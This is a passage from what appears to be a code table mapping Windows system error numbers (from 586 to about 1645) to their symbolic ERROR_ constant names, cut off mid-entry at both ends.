586: "ERROR_BACKUP_CONTROLLER", 587: "ERROR_MUTANT_LIMIT_EXCEEDED", 588: "ERROR_FS_DRIVER_REQUIRED", 589: "ERROR_CANNOT_LOAD_REGISTRY_FILE", 590: "ERROR_DEBUG_ATTACH_FAILED", 591: "ERROR_SYSTEM_PROCESS_TERMINATED", 592: "ERROR_DATA_NOT_ACCEPTED", 593: "ERROR_VDM_HARD_ERROR", 594: "ERROR_DRIVER_CANCEL_TIMEOUT", 595: "ERROR_REPLY_MESSAGE_MISMATCH", 596: "ERROR_LOST_WRITEBEHIND_DATA", 597: "ERROR_CLIENT_SERVER_PARAMETERS_INVALID", 598: "ERROR_NOT_TINY_STREAM", 599: "ERROR_STACK_OVERFLOW_READ", 600: "ERROR_CONVERT_TO_LARGE", 601: "ERROR_FOUND_OUT_OF_SCOPE", 602: "ERROR_ALLOCATE_BUCKET", 603: "ERROR_MARSHALL_OVERFLOW", 604: "ERROR_INVALID_VARIANT", 605: "ERROR_BAD_COMPRESSION_BUFFER", 606: "ERROR_AUDIT_FAILED", 607: "ERROR_TIMER_RESOLUTION_NOT_SET", 608: "ERROR_INSUFFICIENT_LOGON_INFO", 609: "ERROR_BAD_DLL_ENTRYPOINT", 610: "ERROR_BAD_SERVICE_ENTRYPOINT", 611: "ERROR_IP_ADDRESS_CONFLICT1", 612: "ERROR_IP_ADDRESS_CONFLICT2", 613: "ERROR_REGISTRY_QUOTA_LIMIT", 614: "ERROR_NO_CALLBACK_ACTIVE", 615: "ERROR_PWD_TOO_SHORT", 616: "ERROR_PWD_TOO_RECENT", 617: "ERROR_PWD_HISTORY_CONFLICT", 618: "ERROR_UNSUPPORTED_COMPRESSION", 619: "ERROR_INVALID_HW_PROFILE", 620: "ERROR_INVALID_PLUGPLAY_DEVICE_PATH", 621: "ERROR_QUOTA_LIST_INCONSISTENT", 622: "ERROR_EVALUATION_EXPIRATION", 623: "ERROR_ILLEGAL_DLL_RELOCATION", 624: "ERROR_DLL_INIT_FAILED_LOGOFF", 625: "ERROR_VALIDATE_CONTINUE", 626: "ERROR_NO_MORE_MATCHES", 627: "ERROR_RANGE_LIST_CONFLICT", 628: "ERROR_SERVER_SID_MISMATCH", 629: "ERROR_CANT_ENABLE_DENY_ONLY", 630: "ERROR_FLOAT_MULTIPLE_FAULTS", 631: "ERROR_FLOAT_MULTIPLE_TRAPS", 632: "ERROR_NOINTERFACE", 633: "ERROR_DRIVER_FAILED_SLEEP", 634: "ERROR_CORRUPT_SYSTEM_FILE", 635: "ERROR_COMMITMENT_MINIMUM", 636: "ERROR_PNP_RESTART_ENUMERATION", 637: "ERROR_SYSTEM_IMAGE_BAD_SIGNATURE", 638: "ERROR_PNP_REBOOT_REQUIRED", 639: "ERROR_INSUFFICIENT_POWER", 640: "ERROR_MULTIPLE_FAULT_VIOLATION", 641: "ERROR_SYSTEM_SHUTDOWN", 642: "ERROR_PORT_NOT_SET", 643: "ERROR_DS_VERSION_CHECK_FAILURE", 644: "ERROR_RANGE_NOT_FOUND", 646: "ERROR_NOT_SAFE_MODE_DRIVER", 647: "ERROR_FAILED_DRIVER_ENTRY", 648: "ERROR_DEVICE_ENUMERATION_ERROR", 649: "ERROR_MOUNT_POINT_NOT_RESOLVED", 650: "ERROR_INVALID_DEVICE_OBJECT_PARAMETER", 651: "ERROR_MCA_OCCURED", 652: "ERROR_DRIVER_DATABASE_ERROR", 653: "ERROR_SYSTEM_HIVE_TOO_LARGE", 654: "ERROR_DRIVER_FAILED_PRIOR_UNLOAD", 655: "ERROR_VOLSNAP_PREPARE_HIBERNATE", 656: "ERROR_HIBERNATION_FAILURE", 665: "ERROR_FILE_SYSTEM_LIMITATION", 668: "ERROR_ASSERTION_FAILURE", 669: "ERROR_ACPI_ERROR", 670: "ERROR_WOW_ASSERTION", 671: "ERROR_PNP_BAD_MPS_TABLE", 672: "ERROR_PNP_TRANSLATION_FAILED", 673: "ERROR_PNP_IRQ_TRANSLATION_FAILED", 674: "ERROR_PNP_INVALID_ID", 675: "ERROR_WAKE_SYSTEM_DEBUGGER", 676: "ERROR_HANDLES_CLOSED", 677: "ERROR_EXTRANEOUS_INFORMATION", 678: "ERROR_RXACT_COMMIT_NECESSARY", 679: "ERROR_MEDIA_CHECK", 680: "ERROR_GUID_SUBSTITUTION_MADE", 681: "ERROR_STOPPED_ON_SYMLINK", 682: "ERROR_LONGJUMP", 683: "ERROR_PLUGPLAY_QUERY_VETOED", 684: "ERROR_UNWIND_CONSOLIDATE", 685: "ERROR_REGISTRY_HIVE_RECOVERED", 686: "ERROR_DLL_MIGHT_BE_INSECURE", 687: "ERROR_DLL_MIGHT_BE_INCOMPATIBLE", 688: "ERROR_DBG_EXCEPTION_NOT_HANDLED", 689: "ERROR_DBG_REPLY_LATER", 690: "ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE", 691: "ERROR_DBG_TERMINATE_THREAD", 692: "ERROR_DBG_TERMINATE_PROCESS", 693: "ERROR_DBG_CONTROL_C", 694: "ERROR_DBG_PRINTEXCEPTION_C", 695: "ERROR_DBG_RIPEXCEPTION", 696: "ERROR_DBG_CONTROL_BREAK", 697: "ERROR_DBG_COMMAND_EXCEPTION", 698: "ERROR_OBJECT_NAME_EXISTS", 699: "ERROR_THREAD_WAS_SUSPENDED", 700: "ERROR_IMAGE_NOT_AT_BASE", 701: "ERROR_RXACT_STATE_CREATED", 702: "ERROR_SEGMENT_NOTIFICATION", 703: "ERROR_BAD_CURRENT_DIRECTORY", 704: "ERROR_FT_READ_RECOVERY_FROM_BACKUP", 705: "ERROR_FT_WRITE_RECOVERY", 706: "ERROR_IMAGE_MACHINE_TYPE_MISMATCH", 707: "ERROR_RECEIVE_PARTIAL", 708: "ERROR_RECEIVE_EXPEDITED", 709: "ERROR_RECEIVE_PARTIAL_EXPEDITED", 710: "ERROR_EVENT_DONE", 711: "ERROR_EVENT_PENDING", 712: "ERROR_CHECKING_FILE_SYSTEM", 713: "ERROR_FATAL_APP_EXIT", 714: "ERROR_PREDEFINED_HANDLE", 715: "ERROR_WAS_UNLOCKED", 716: "ERROR_SERVICE_NOTIFICATION", 717: "ERROR_WAS_LOCKED", 718: "ERROR_LOG_HARD_ERROR", 719: "ERROR_ALREADY_WIN32", 720: "ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE", 721: "ERROR_NO_YIELD_PERFORMED", 722: "ERROR_TIMER_RESUME_IGNORED", 723: "ERROR_ARBITRATION_UNHANDLED", 724: "ERROR_CARDBUS_NOT_SUPPORTED", 725: "ERROR_MP_PROCESSOR_MISMATCH", 726: "ERROR_HIBERNATED", 727: "ERROR_RESUME_HIBERNATION", 728: "ERROR_FIRMWARE_UPDATED", 729: "ERROR_DRIVERS_LEAKING_LOCKED_PAGES", 730: "ERROR_WAKE_SYSTEM", 731: "ERROR_WAIT_1", 732: "ERROR_WAIT_2", 733: "ERROR_WAIT_3", 734: "ERROR_WAIT_63", 735: "ERROR_ABANDONED_WAIT_0", 736: "ERROR_ABANDONED_WAIT_63", 737: "ERROR_USER_APC", 738: "ERROR_KERNEL_APC", 739: "ERROR_ALERTED", 740: "ERROR_ELEVATION_REQUIRED", 741: "ERROR_REPARSE", 742: "ERROR_OPLOCK_BREAK_IN_PROGRESS", 743: "ERROR_VOLUME_MOUNTED", 744: "ERROR_RXACT_COMMITTED", 745: "ERROR_NOTIFY_CLEANUP", 746: "ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED", 747: "ERROR_PAGE_FAULT_TRANSITION", 748: "ERROR_PAGE_FAULT_DEMAND_ZERO", 749: "ERROR_PAGE_FAULT_COPY_ON_WRITE", 750: "ERROR_PAGE_FAULT_GUARD_PAGE", 751: "ERROR_PAGE_FAULT_PAGING_FILE", 752: "ERROR_CACHE_PAGE_LOCKED", 753: "ERROR_CRASH_DUMP", 754: "ERROR_BUFFER_ALL_ZEROS", 755: "ERROR_REPARSE_OBJECT", 756: "ERROR_RESOURCE_REQUIREMENTS_CHANGED", 757: "ERROR_TRANSLATION_COMPLETE", 758: "ERROR_NOTHING_TO_TERMINATE", 759: "ERROR_PROCESS_NOT_IN_JOB", 760: "ERROR_PROCESS_IN_JOB", 761: "ERROR_VOLSNAP_HIBERNATE_READY", 762: "ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY", 763: "ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED", 764: "ERROR_INTERRUPT_STILL_CONNECTED", 765: "ERROR_WAIT_FOR_OPLOCK", 766: "ERROR_DBG_EXCEPTION_HANDLED", 767: "ERROR_DBG_CONTINUE", 768: "ERROR_CALLBACK_POP_STACK", 769: "ERROR_COMPRESSION_DISABLED", 770: "ERROR_CANTFETCHBACKWARDS", 771: "ERROR_CANTSCROLLBACKWARDS", 772: "ERROR_ROWSNOTRELEASED", 773: "ERROR_BAD_ACCESSOR_FLAGS", 774: "ERROR_ERRORS_ENCOUNTERED", 775: "ERROR_NOT_CAPABLE", 776: "ERROR_REQUEST_OUT_OF_SEQUENCE", 777: "ERROR_VERSION_PARSE_ERROR", 778: "ERROR_BADSTARTPOSITION", 779: "ERROR_MEMORY_HARDWARE", 780: "ERROR_DISK_REPAIR_DISABLED", 781: "ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE", 782: "ERROR_SYSTEM_POWERSTATE_TRANSITION", 783: "ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION", 784: "ERROR_MCA_EXCEPTION", 785: "ERROR_ACCESS_AUDIT_BY_POLICY", 786: "ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY", 787: "ERROR_ABANDON_HIBERFILE", 788: "ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED", 789: "ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR", 790: "ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR", 791: "ERROR_BAD_MCFG_TABLE", 994: "ERROR_EA_ACCESS_DENIED", 995: "ERROR_OPERATION_ABORTED", 996: "ERROR_IO_INCOMPLETE", 997: "ERROR_IO_PENDING", 998: "ERROR_NOACCESS", 999: "ERROR_SWAPERROR", 1001: "ERROR_STACK_OVERFLOW", 1002: "ERROR_INVALID_MESSAGE", 1003: "ERROR_CAN_NOT_COMPLETE", 1004: "ERROR_INVALID_FLAGS", 1005: "ERROR_UNRECOGNIZED_VOLUME", 1006: "ERROR_FILE_INVALID", 1007: "ERROR_FULLSCREEN_MODE", 1008: "ERROR_NO_TOKEN", 1009: "ERROR_BADDB", 1010: "ERROR_BADKEY", 1011: "ERROR_CANTOPEN", 1012: "ERROR_CANTREAD", 1013: "ERROR_CANTWRITE", 1014: "ERROR_REGISTRY_RECOVERED", 1015: "ERROR_REGISTRY_CORRUPT", 1016: "ERROR_REGISTRY_IO_FAILED", 1017: "ERROR_NOT_REGISTRY_FILE", 1018: "ERROR_KEY_DELETED", 1019: "ERROR_NO_LOG_SPACE", 1020: "ERROR_KEY_HAS_CHILDREN", 1021: "ERROR_CHILD_MUST_BE_VOLATILE", 1022: "ERROR_NOTIFY_ENUM_DIR", 1051: "ERROR_DEPENDENT_SERVICES_RUNNING", 1052: "ERROR_INVALID_SERVICE_CONTROL", 1053: "ERROR_SERVICE_REQUEST_TIMEOUT", 1054: "ERROR_SERVICE_NO_THREAD", 1055: "ERROR_SERVICE_DATABASE_LOCKED", 1056: "ERROR_SERVICE_ALREADY_RUNNING", 1057: "ERROR_INVALID_SERVICE_ACCOUNT", 1058: "ERROR_SERVICE_DISABLED", 1059: "ERROR_CIRCULAR_DEPENDENCY", 1060: "ERROR_SERVICE_DOES_NOT_EXIST", 1061: "ERROR_SERVICE_CANNOT_ACCEPT_CTRL", 1062: "ERROR_SERVICE_NOT_ACTIVE", 1063: "ERROR_FAILED_SERVICE_CONTROLLER_CONNECT", 1064: "ERROR_EXCEPTION_IN_SERVICE", 1065: "ERROR_DATABASE_DOES_NOT_EXIST", 1066: "ERROR_SERVICE_SPECIFIC_ERROR", 1067: "ERROR_PROCESS_ABORTED", 1068: "ERROR_SERVICE_DEPENDENCY_FAIL", 1069: "ERROR_SERVICE_LOGON_FAILED", 1070: "ERROR_SERVICE_START_HANG", 1071: "ERROR_INVALID_SERVICE_LOCK", 1072: "ERROR_SERVICE_MARKED_FOR_DELETE", 1073: "ERROR_SERVICE_EXISTS", 1074: "ERROR_ALREADY_RUNNING_LKG", 1075: "ERROR_SERVICE_DEPENDENCY_DELETED", 1076: "ERROR_BOOT_ALREADY_ACCEPTED", 1077: "ERROR_SERVICE_NEVER_STARTED", 1078: "ERROR_DUPLICATE_SERVICE_NAME", 1079: "ERROR_DIFFERENT_SERVICE_ACCOUNT", 1080: "ERROR_CANNOT_DETECT_DRIVER_FAILURE", 1081: "ERROR_CANNOT_DETECT_PROCESS_ABORT", 1082: "ERROR_NO_RECOVERY_PROGRAM", 1083: "ERROR_SERVICE_NOT_IN_EXE", 1084: "ERROR_NOT_SAFEBOOT_SERVICE", 1100: "ERROR_END_OF_MEDIA", 1101: "ERROR_FILEMARK_DETECTED", 1102: "ERROR_BEGINNING_OF_MEDIA", 1103: "ERROR_SETMARK_DETECTED", 1104: "ERROR_NO_DATA_DETECTED", 1105: "ERROR_PARTITION_FAILURE", 1106: "ERROR_INVALID_BLOCK_LENGTH", 1107: "ERROR_DEVICE_NOT_PARTITIONED", 1108: "ERROR_UNABLE_TO_LOCK_MEDIA", 1109: "ERROR_UNABLE_TO_UNLOAD_MEDIA", 1110: "ERROR_MEDIA_CHANGED", 1111: "ERROR_BUS_RESET", 1112: "ERROR_NO_MEDIA_IN_DRIVE", 1113: "ERROR_NO_UNICODE_TRANSLATION", 1114: "ERROR_DLL_INIT_FAILED", 1115: "ERROR_SHUTDOWN_IN_PROGRESS", 1116: "ERROR_NO_SHUTDOWN_IN_PROGRESS", 1117: "ERROR_IO_DEVICE", 1118: "ERROR_SERIAL_NO_DEVICE", 1119: "ERROR_IRQ_BUSY", 1120: "ERROR_MORE_WRITES", 1121: "ERROR_COUNTER_TIMEOUT", 1122: "ERROR_FLOPPY_ID_MARK_NOT_FOUND", 1123: "ERROR_FLOPPY_WRONG_CYLINDER", 1124: "ERROR_FLOPPY_UNKNOWN_ERROR", 1125: "ERROR_FLOPPY_BAD_REGISTERS", 1126: "ERROR_DISK_RECALIBRATE_FAILED", 1127: "ERROR_DISK_OPERATION_FAILED", 1128: "ERROR_DISK_RESET_FAILED", 1129: "ERROR_EOM_OVERFLOW", 1130: "ERROR_NOT_ENOUGH_SERVER_MEMORY", 1131: "ERROR_POSSIBLE_DEADLOCK", 1132: "ERROR_MAPPED_ALIGNMENT", 1140: "ERROR_SET_POWER_STATE_VETOED", 1141: "ERROR_SET_POWER_STATE_FAILED", 1142: "ERROR_TOO_MANY_LINKS", 1150: "ERROR_OLD_WIN_VERSION", 1151: "ERROR_APP_WRONG_OS", 1152: "ERROR_SINGLE_INSTANCE_APP", 1153: "ERROR_RMODE_APP", 1154: "ERROR_INVALID_DLL", 1155: "ERROR_NO_ASSOCIATION", 1156: "ERROR_DDE_FAIL", 1157: "ERROR_DLL_NOT_FOUND", 1158: "ERROR_NO_MORE_USER_HANDLES", 1159: "ERROR_MESSAGE_SYNC_ONLY", 1160: "ERROR_SOURCE_ELEMENT_EMPTY", 1161: "ERROR_DESTINATION_ELEMENT_FULL", 1162: "ERROR_ILLEGAL_ELEMENT_ADDRESS", 1163: "ERROR_MAGAZINE_NOT_PRESENT", 1164: "ERROR_DEVICE_REINITIALIZATION_NEEDED", 1165: "ERROR_DEVICE_REQUIRES_CLEANING", 1166: "ERROR_DEVICE_DOOR_OPEN", 1167: "ERROR_DEVICE_NOT_CONNECTED", 1168: "ERROR_NOT_FOUND", 1169: "ERROR_NO_MATCH", 1170: "ERROR_SET_NOT_FOUND", 1171: "ERROR_POINT_NOT_FOUND", 1172: "ERROR_NO_TRACKING_SERVICE", 1173: "ERROR_NO_VOLUME_ID", 2108: "ERROR_CONNECTED_OTHER_PASSWORD", 2202: "ERROR_BAD_USERNAME", 2250: "ERROR_NOT_CONNECTED", 2401: "ERROR_OPEN_FILES", 2402: "ERROR_ACTIVE_CONNECTIONS", 2404: "ERROR_DEVICE_IN_USE", 1200: "ERROR_BAD_DEVICE", 1201: "ERROR_CONNECTION_UNAVAIL", 1202: "ERROR_DEVICE_ALREADY_REMEMBERED", 1203: "ERROR_NO_NET_OR_BAD_PATH", 1204: "ERROR_BAD_PROVIDER", 1205: "ERROR_CANNOT_OPEN_PROFILE", 1206: "ERROR_BAD_PROFILE", 1207: "ERROR_NOT_CONTAINER", 1208: "ERROR_EXTENDED_ERROR", 1209: "ERROR_INVALID_GROUPNAME", 1210: "ERROR_INVALID_COMPUTERNAME", 1211: "ERROR_INVALID_EVENTNAME", 1212: "ERROR_INVALID_DOMAINNAME", 1213: "ERROR_INVALID_SERVICENAME", 1214: "ERROR_INVALID_NETNAME", 1215: "ERROR_INVALID_SHARENAME", 1216: "ERROR_INVALID_PASSWORDNAME", 1217: "ERROR_INVALID_MESSAGENAME", 1218: "ERROR_INVALID_MESSAGEDEST", 1219: "ERROR_SESSION_CREDENTIAL_CONFLICT", 1220: "ERROR_REMOTE_SESSION_LIMIT_EXCEEDED", 1221: "ERROR_DUP_DOMAINNAME", 1222: "ERROR_NO_NETWORK", 1223: "ERROR_CANCELLED", 1224: "ERROR_USER_MAPPED_FILE", 1225: "ERROR_CONNECTION_REFUSED", 1226: "ERROR_GRACEFUL_DISCONNECT", 1227: "ERROR_ADDRESS_ALREADY_ASSOCIATED", 1228: "ERROR_ADDRESS_NOT_ASSOCIATED", 1229: "ERROR_CONNECTION_INVALID", 1230: "ERROR_CONNECTION_ACTIVE", 1231: "ERROR_NETWORK_UNREACHABLE", 1232: "ERROR_HOST_UNREACHABLE", 1233: "ERROR_PROTOCOL_UNREACHABLE", 1234: "ERROR_PORT_UNREACHABLE", 1235: "ERROR_REQUEST_ABORTED", 1236: "ERROR_CONNECTION_ABORTED", 1237: "ERROR_RETRY", 1238: "ERROR_CONNECTION_COUNT_LIMIT", 1239: "ERROR_LOGIN_TIME_RESTRICTION", 1240: "ERROR_LOGIN_WKSTA_RESTRICTION", 1241: "ERROR_INCORRECT_ADDRESS", 1242: "ERROR_ALREADY_REGISTERED", 1243: "ERROR_SERVICE_NOT_FOUND", 1244: "ERROR_NOT_AUTHENTICATED", 1245: "ERROR_NOT_LOGGED_ON", 1246: "ERROR_CONTINUE", 1247: "ERROR_ALREADY_INITIALIZED", 1248: "ERROR_NO_MORE_DEVICES", 1249: "ERROR_NO_SUCH_SITE", 1250: "ERROR_DOMAIN_CONTROLLER_EXISTS", 1251: "ERROR_DS_NOT_INSTALLED", 1300: "ERROR_NOT_ALL_ASSIGNED", 1301: "ERROR_SOME_NOT_MAPPED", 1302: "ERROR_NO_QUOTAS_FOR_ACCOUNT", 1303: "ERROR_LOCAL_USER_SESSION_KEY", 1304: "ERROR_NULL_LM_PASSWORD", 1305: "ERROR_UNKNOWN_REVISION", 1306: "ERROR_REVISION_MISMATCH", 1307: "ERROR_INVALID_OWNER", 1308: "ERROR_INVALID_PRIMARY_GROUP", 1309: "ERROR_NO_IMPERSONATION_TOKEN", 1310: "ERROR_CANT_DISABLE_MANDATORY", 1311: "ERROR_NO_LOGON_SERVERS", 1312: "ERROR_NO_SUCH_LOGON_SESSION", 1313: "ERROR_NO_SUCH_PRIVILEGE", 1314: "ERROR_PRIVILEGE_NOT_HELD", 1315: "ERROR_INVALID_ACCOUNT_NAME", 1316: "ERROR_USER_EXISTS", 1317: "ERROR_NO_SUCH_USER", 1318: "ERROR_GROUP_EXISTS", 1319: "ERROR_NO_SUCH_GROUP", 1320: "ERROR_MEMBER_IN_GROUP", 1321: "ERROR_MEMBER_NOT_IN_GROUP", 1322: "ERROR_LAST_ADMIN", 1323: "ERROR_WRONG_PASSWORD", 1324: "ERROR_ILL_FORMED_PASSWORD", 1325: "ERROR_PASSWORD_RESTRICTION", 1326: "ERROR_LOGON_FAILURE", 1327: "ERROR_ACCOUNT_RESTRICTION", 1328: "ERROR_INVALID_LOGON_HOURS", 1329: "ERROR_INVALID_WORKSTATION", 1330: "ERROR_PASSWORD_EXPIRED", 1331: "ERROR_ACCOUNT_DISABLED", 1332: "ERROR_NONE_MAPPED", 1333: "ERROR_TOO_MANY_LUIDS_REQUESTED", 1334: "ERROR_LUIDS_EXHAUSTED", 1335: "ERROR_INVALID_SUB_AUTHORITY", 1336: "ERROR_INVALID_ACL", 1337: "ERROR_INVALID_SID", 1338: "ERROR_INVALID_SECURITY_DESCR", 1340: "ERROR_BAD_INHERITANCE_ACL", 1341: "ERROR_SERVER_DISABLED", 1342: "ERROR_SERVER_NOT_DISABLED", 1343: "ERROR_INVALID_ID_AUTHORITY", 1344: "ERROR_ALLOTTED_SPACE_EXCEEDED", 1345: "ERROR_INVALID_GROUP_ATTRIBUTES", 1346: "ERROR_BAD_IMPERSONATION_LEVEL", 1347: "ERROR_CANT_OPEN_ANONYMOUS", 1348: "ERROR_BAD_VALIDATION_CLASS", 1349: "ERROR_BAD_TOKEN_TYPE", 1350: "ERROR_NO_SECURITY_ON_OBJECT", 1351: "ERROR_CANT_ACCESS_DOMAIN_INFO", 1352: "ERROR_INVALID_SERVER_STATE", 1353: "ERROR_INVALID_DOMAIN_STATE", 1354: "ERROR_INVALID_DOMAIN_ROLE", 1355: "ERROR_NO_SUCH_DOMAIN", 1356: "ERROR_DOMAIN_EXISTS", 1357: "ERROR_DOMAIN_LIMIT_EXCEEDED", 1358: "ERROR_INTERNAL_DB_CORRUPTION", 1359: "ERROR_INTERNAL_ERROR", 1360: "ERROR_GENERIC_NOT_MAPPED", 1361: "ERROR_BAD_DESCRIPTOR_FORMAT", 1362: "ERROR_NOT_LOGON_PROCESS", 1363: "ERROR_LOGON_SESSION_EXISTS", 1364: "ERROR_NO_SUCH_PACKAGE", 1365: "ERROR_BAD_LOGON_SESSION_STATE", 1366: "ERROR_LOGON_SESSION_COLLISION", 1367: "ERROR_INVALID_LOGON_TYPE", 1368: "ERROR_CANNOT_IMPERSONATE", 1369: "ERROR_RXACT_INVALID_STATE", 1370: "ERROR_RXACT_COMMIT_FAILURE", 1371: "ERROR_SPECIAL_ACCOUNT", 1372: "ERROR_SPECIAL_GROUP", 1373: "ERROR_SPECIAL_USER", 1374: "ERROR_MEMBERS_PRIMARY_GROUP", 1375: "ERROR_TOKEN_ALREADY_IN_USE", 1376: "ERROR_NO_SUCH_ALIAS", 1377: "ERROR_MEMBER_NOT_IN_ALIAS", 1378: "ERROR_MEMBER_IN_ALIAS", 1379: "ERROR_ALIAS_EXISTS", 1380: "ERROR_LOGON_NOT_GRANTED", 1381: "ERROR_TOO_MANY_SECRETS", 1382: "ERROR_SECRET_TOO_LONG", 1383: "ERROR_INTERNAL_DB_ERROR", 1384: "ERROR_TOO_MANY_CONTEXT_IDS", 1385: "ERROR_LOGON_TYPE_NOT_GRANTED", 1386: "ERROR_NT_CROSS_ENCRYPTION_REQUIRED", 1387: "ERROR_NO_SUCH_MEMBER", 1388: "ERROR_INVALID_MEMBER", 1389: "ERROR_TOO_MANY_SIDS", 1390: "ERROR_LM_CROSS_ENCRYPTION_REQUIRED", 1391: "ERROR_NO_INHERITANCE", 1392: "ERROR_FILE_CORRUPT", 1393: "ERROR_DISK_CORRUPT", 1394: "ERROR_NO_USER_SESSION_KEY", 1395: "ERROR_LICENSE_QUOTA_EXCEEDED", 1400: "ERROR_INVALID_WINDOW_HANDLE", 1401: "ERROR_INVALID_MENU_HANDLE", 1402: "ERROR_INVALID_CURSOR_HANDLE", 1403: "ERROR_INVALID_ACCEL_HANDLE", 1404: "ERROR_INVALID_HOOK_HANDLE", 1405: "ERROR_INVALID_DWP_HANDLE", 1406: "ERROR_TLW_WITH_WSCHILD", 1407: "ERROR_CANNOT_FIND_WND_CLASS", 1408: "ERROR_WINDOW_OF_OTHER_THREAD", 1409: "ERROR_HOTKEY_ALREADY_REGISTERED", 1410: "ERROR_CLASS_ALREADY_EXISTS", 1411: "ERROR_CLASS_DOES_NOT_EXIST", 1412: "ERROR_CLASS_HAS_WINDOWS", 1413: "ERROR_INVALID_INDEX", 1414: "ERROR_INVALID_ICON_HANDLE", 1415: "ERROR_PRIVATE_DIALOG_INDEX", 1416: "ERROR_LISTBOX_ID_NOT_FOUND", 1417: "ERROR_NO_WILDCARD_CHARACTERS", 1418: "ERROR_CLIPBOARD_NOT_OPEN", 1419: "ERROR_HOTKEY_NOT_REGISTERED", 1420: "ERROR_WINDOW_NOT_DIALOG", 1421: "ERROR_CONTROL_ID_NOT_FOUND", 1422: "ERROR_INVALID_COMBOBOX_MESSAGE", 1423: "ERROR_WINDOW_NOT_COMBOBOX", 1424: "ERROR_INVALID_EDIT_HEIGHT", 1425: "ERROR_DC_NOT_FOUND", 1426: "ERROR_INVALID_HOOK_FILTER", 1427: "ERROR_INVALID_FILTER_PROC", 1428: "ERROR_HOOK_NEEDS_HMOD", 1429: "ERROR_GLOBAL_ONLY_HOOK", 1430: "ERROR_JOURNAL_HOOK_SET", 1431: "ERROR_HOOK_NOT_INSTALLED", 1432: "ERROR_INVALID_LB_MESSAGE", 1433: "ERROR_SETCOUNT_ON_BAD_LB", 1434: "ERROR_LB_WITHOUT_TABSTOPS", 1435: "ERROR_DESTROY_OBJECT_OF_OTHER_THREAD", 1436: "ERROR_CHILD_WINDOW_MENU", 1437: "ERROR_NO_SYSTEM_MENU", 1438: "ERROR_INVALID_MSGBOX_STYLE", 1439: "ERROR_INVALID_SPI_VALUE", 1440: "ERROR_SCREEN_ALREADY_LOCKED", 1441: "ERROR_HWNDS_HAVE_DIFF_PARENT", 1442: "ERROR_NOT_CHILD_WINDOW", 1443: "ERROR_INVALID_GW_COMMAND", 1444: "ERROR_INVALID_THREAD_ID", 1445: "ERROR_NON_MDICHILD_WINDOW", 1446: "ERROR_POPUP_ALREADY_ACTIVE", 1447: "ERROR_NO_SCROLLBARS", 1448: "ERROR_INVALID_SCROLLBAR_RANGE", 1449: "ERROR_INVALID_SHOWWIN_COMMAND", 1450: "ERROR_NO_SYSTEM_RESOURCES", 1451: "ERROR_NONPAGED_SYSTEM_RESOURCES", 1452: "ERROR_PAGED_SYSTEM_RESOURCES", 1453: "ERROR_WORKING_SET_QUOTA", 1454: "ERROR_PAGEFILE_QUOTA", 1455: "ERROR_COMMITMENT_LIMIT", 1456: "ERROR_MENU_ITEM_NOT_FOUND", 1457: "ERROR_INVALID_KEYBOARD_HANDLE", 1458: "ERROR_HOOK_TYPE_NOT_ALLOWED", 1459: "ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION", 1460: "ERROR_TIMEOUT", 1461: "ERROR_INVALID_MONITOR_HANDLE", 1462: "ERROR_INCORRECT_SIZE", 1463: "ERROR_SYMLINK_CLASS_DISABLED", 1464: "ERROR_SYMLINK_NOT_SUPPORTED", 1465: "ERROR_XML_PARSE_ERROR", 1466: "ERROR_XMLDSIG_ERROR", 1467: "ERROR_RESTART_APPLICATION", 1468: "ERROR_WRONG_COMPARTMENT", 1469: "ERROR_AUTHIP_FAILURE", 1500: "ERROR_EVENTLOG_FILE_CORRUPT", 1501: "ERROR_EVENTLOG_CANT_START", 1502: "ERROR_LOG_FILE_FULL", 1503: "ERROR_EVENTLOG_FILE_CHANGED", 1601: "ERROR_INSTALL_SERVICE", 1602: "ERROR_INSTALL_USEREXIT", 1603: "ERROR_INSTALL_FAILURE", 1604: "ERROR_INSTALL_SUSPEND", 1605: "ERROR_UNKNOWN_PRODUCT", 1606: "ERROR_UNKNOWN_FEATURE", 1607: "ERROR_UNKNOWN_COMPONENT", 1608: "ERROR_UNKNOWN_PROPERTY", 1609: "ERROR_INVALID_HANDLE_STATE", 1610: "ERROR_BAD_CONFIGURATION", 1611: "ERROR_INDEX_ABSENT", 1612: "ERROR_INSTALL_SOURCE_ABSENT", 1613: "ERROR_BAD_DATABASE_VERSION", 1614: "ERROR_PRODUCT_UNINSTALLED", 1615: "ERROR_BAD_QUERY_SYNTAX", 1616: "ERROR_INVALID_FIELD", 1617: "ERROR_DEVICE_REMOVED", 1618: "ERROR_INSTALL_ALREADY_RUNNING", 1619: "ERROR_INSTALL_PACKAGE_OPEN_FAILED", 1620: "ERROR_INSTALL_PACKAGE_INVALID", 1621: "ERROR_INSTALL_UI_FAILURE", 1622: "ERROR_INSTALL_LOG_FAILURE", 1623: "ERROR_INSTALL_LANGUAGE_UNSUPPORTED", 1624: "ERROR_INSTALL_TRANSFORM_FAILURE", 1625: "ERROR_INSTALL_PACKAGE_REJECTED", 1626: "ERROR_FUNCTION_NOT_CALLED", 1627: "ERROR_FUNCTION_FAILED", 1628: "ERROR_INVALID_TABLE", 1629: "ERROR_DATATYPE_MISMATCH", 1630: "ERROR_UNSUPPORTED_TYPE", 1631: "ERROR_CREATE_FAILED", 1632: "ERROR_INSTALL_TEMP_UNWRITABLE", 1633: "ERROR_INSTALL_PLATFORM_UNSUPPORTED", 1634: "ERROR_INSTALL_NOTUSED", 1635: "ERROR_PATCH_PACKAGE_OPEN_FAILED", 1636: "ERROR_PATCH_PACKAGE_INVALID", 1637: "ERROR_PATCH_PACKAGE_UNSUPPORTED", 1638: "ERROR_PRODUCT_VERSION", 1639: "ERROR_INVALID_COMMAND_LINE", 1640: "ERROR_INSTALL_REMOTE_DISALLOWED", 1641: "ERROR_SUCCESS_REBOOT_INITIATED", 1642: "ERROR_PATCH_TARGET_NOT_FOUND", 1643: "ERROR_PATCH_PACKAGE_REJECTED", 1644: "ERROR_INSTALL_TRANSFORM_REJECTED", 1645: 